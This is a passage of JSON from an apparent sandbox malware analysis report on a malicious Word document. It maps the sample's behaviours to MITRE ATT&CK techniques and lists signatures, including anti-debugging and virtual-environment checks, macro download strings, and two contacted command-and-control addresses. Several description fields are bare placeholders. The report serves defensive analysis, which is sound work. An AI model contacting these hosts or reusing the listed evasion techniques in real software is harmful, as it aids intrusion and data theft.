string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query the machine timezone"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Tries to open documents files"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Drops cabinet archive files"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Calls an API typically used to create a HTTP or FTP session"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"suspicious","value":"Contains ability to terminate a process"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002996.00000000.68546.00400000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002996.00000001.69499.00400000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003576.00000000.69817.00400000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003576.00000001.71736.00400000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003576.00000002.73655.00400000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"WINWORD.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVREAE3.tmp\" to \"%TEMP%\\CVREAE3.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003576-18544-33-00406DA1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003576-18544-389-00405228\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003576-18544-12-00404660\n SetUnhandledExceptionFilter@KERNEL32.dll at 23619-545-00405228","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506\" has high entropy 7.99568798138569\n Dropped file \"%TEMP%\\Cab24D1.tmp\" has high entropy 7.99568798138569","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"spolsve.exe\" called \"IsWow64Process\" with parameter \"2996\" - (UID: 00000000-00002996)\n \"cmd.exe\" called \"IsWow64Process\" with parameter \"3424\" - (UID: 00000000-00003424)\n \"reg.exe\" called \"IsWow64Process\" with parameter \"3944\" - (UID: 00000000-00003944)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WINWORD.EXE\" called \"LookupAccountSidW\" (UID: 00000000-00002692)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00003576-18544-234-0040655F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileA@KERNEL32.DLL at 00000000-00002996-13423-805-0041ADFD","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"Found string \"microsoft.xmlhttp\" (Indicator: \"microsoft.xmlhttp\"; File: \"ThisDocument.cls\")\n Found string \"\"microsoft.xmlhttpgetOpensendresponseBodyStatusadodb.streamType\" (Indicator: \"microsoft.xmlhttp\"; File: \"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin\"), Found string \"WScript.Shell$8.4Templates 4%:'6]]]]]]]0]H'Fmicrosoft.xmlhttp$8.H]`KY)$Nk$Ny$N$N\" (Indicator: \"microsoft.xmlhttp\"; File: \"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-469","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00002996-13423-746-004151D8\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003576-18544-234-0040655F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003576-18544-234-0040655F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00000000-00002996-13423-56-0040E985","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00002996-13423-791-00418070\n GetVersion@KERNEL32.DLL at 00000000-00002996-13423-1157-0041E55E\n GetVersion@KERNEL32.DLL at 00000000-00002996-13423-41-0041E430\n GetVersion@KERNEL32.DLL at 00000000-00002996-13423-1-00409CB0\n GetVersionExA@KERNEL32.DLL at 00000000-00003576-18544-198-00402210\n GetVersionExA@KERNEL32.DLL at 00000000-00003576-18544-197-004025C0\n GetVersion@KERNEL32.dll at 25737-1-00409CB0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"spolsve.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"spolsve.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"reg.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00003576-18544-132-0040C922","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp eax, 30h\" and \"ja 0041850Ah\" at 00000000-00002996-13423-791-00418070\n Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 0040EC07h\" at 00000000-00002996-13423-56-0040E985\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp eax, ebx\" and \"je 0041E623h\" at 00000000-00002996-13423-1157-0041E55E\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 04h\" and \"jnc 0041E45Ch\" at 00000000-00002996-13423-41-0041E430","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"spolsve.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"WINWORD.EXE\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"134.0.11.201:443\"\n \"186.122.150.107:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains NTDLL native APIs","description":"Found reference to native API (Indicator: \"RtlUnwind\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to native API (Indicator: \"RtlUnwind\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to native API (Indicator: \"RtlUnwind\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-604","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00003576-18544-26-00409A9A\n WaitForSingleObject@KERNEL32.DLL at 00000000-00003576-18544-195-00401460\n Sleep@KERNEL32.DLL at 00000000-00003576-18544-169-00409AE6\n Sleep@KERNEL32.DLL at 00000000-00003576-18544-42-00409A55","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.DLL at 00000000-00002996-13423-8-0040F1D7\n 